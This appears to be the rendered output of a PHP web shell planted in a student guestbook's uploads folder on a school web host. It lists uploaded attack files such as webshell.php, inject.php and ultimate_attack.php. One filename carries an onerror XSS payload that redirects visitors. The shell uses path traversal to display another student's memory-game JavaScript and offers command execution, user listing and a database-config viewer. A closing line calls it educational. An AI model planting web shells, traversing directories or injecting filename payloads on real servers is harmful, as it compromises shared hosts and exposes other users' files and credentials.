🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../587371.klas4s23.mid-ica.nl/public_html/Memory Game/JS/../JS/script.js

const selectors = {
	boardContainer: document.querySelector('.board-container'),
	board: document.querySelector('.board'),
	moves: document.querySelector('.moves'),
	timer: document.querySelector('.timer'),
	start: document.querySelector('button'),
	win: document.querySelector('.win')
}


const state = {
	gameStarted: false,
	flippedCards: 0,
	totalFlips: 0,
	totalTime: 0,
	loop: null
}

const shuffle = array => {
	const clonedArray = [...array]

	for (let i = clonedArray.length - 1; i > 0; i--) {
			const randomIndex = Math.floor(Math.random() * (i + 1))
			const original = clonedArray[i]

			clonedArray[i] = clonedArray[randomIndex]
			clonedArray[randomIndex] = original
	}

	return clonedArray
}

const pickRandom = (array, items) => {
	const clonedArray = [...array]
	const randomPicks = []

	for (let i = 0; i < items; i++) {
			const randomIndex = Math.floor(Math.random() * clonedArray.length)
			
			randomPicks.push(clonedArray[randomIndex])
			clonedArray.splice(randomIndex, 1)
	}

	return randomPicks
}

const generateGame = () => {
	const dimensions = selectors.board.getAttribute('data-dimension')  

	if (dimensions % 2 !== 0) {
			throw new Error("The dimension of the board must be an even number.")
	}

	const emojis = ['🥔', '🍒', '🥑', '🌽', '🥕', '🍇', '🍉', '🍌', '🥭', '🍍']
	const picks = pickRandom(emojis, (dimensions * dimensions) / 2) 
	const items = shuffle([...picks, ...picks])
	const cards = `
			<div class="board" style="grid-template-columns: repeat(${dimensions}, auto)">
					${items.map(item => `
							<div class="card">
									<div class="card-front"></div>
									<div class="card-back">${item}</div>
							</div>
					`).join('')}
		 </div>
	`
	
	const parser = new DOMParser().parseFromString(cards, 'text/html')

	selectors.board.replaceWith(parser.querySelector('.board'))
}

const startGame = () => {
	state.gameStarted = true
	selectors.start.classList.add('disabled')

	state.loop = setInterval(() => {
			state.totalTime++

			selectors.moves.innerText = `${state.totalFlips} moves`
			selectors.timer.innerText = `Time: ${state.totalTime} sec`
	}, 1000)
}

const flipBackCards = () => {
	document.querySelectorAll('.card:not(.matched)').forEach(card => {
			card.classList.remove('flipped')
	})

	state.flippedCards = 0
}

const flipCard = card => {
	state.flippedCards++
	state.totalFlips++

	if (!state.gameStarted) {
			startGame()
	}

	if (state.flippedCards <= 2) {
			card.classList.add('flipped')
	}

	if (state.flippedCards === 2) {
			const flippedCards = document.querySelectorAll('.flipped:not(.matched)')

			if (flippedCards[0].innerText === flippedCards[1].innerText) {
					flippedCards[0].classList.add('matched')
					flippedCards[1].classList.add('matched')
			}

			setTimeout(() => {
					flipBackCards()
			}, 1000)
	}
	if (!document.querySelectorAll('.card:not(.flipped)').length) {
			setTimeout(() => {
					selectors.boardContainer.classList.add('flipped')
					selectors.win.innerHTML = `
							<span class="win-text">
									You won!<br />
									with <span class="highlight">${state.totalFlips}</span> moves<br />
									under <span class="highlight">${state.totalTime}</span> seconds.
							</span>
					`

					clearInterval(state.loop)
			}, 1000)
	}
}

const attachEventListeners = () => {
	document.addEventListener('click', event => {
			const eventTarget = event.target
			const eventParent = eventTarget.parentElement

			if (eventTarget.className.includes('card') && !eventParent.className.includes('flipped')) {
					flipCard(eventParent)
			} else if (eventTarget.nodeName === 'BUTTON' && !eventTarget.className.includes('disabled')) {
					startGame()
			}
	})
}

generateGame()
attachEventListeners()

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!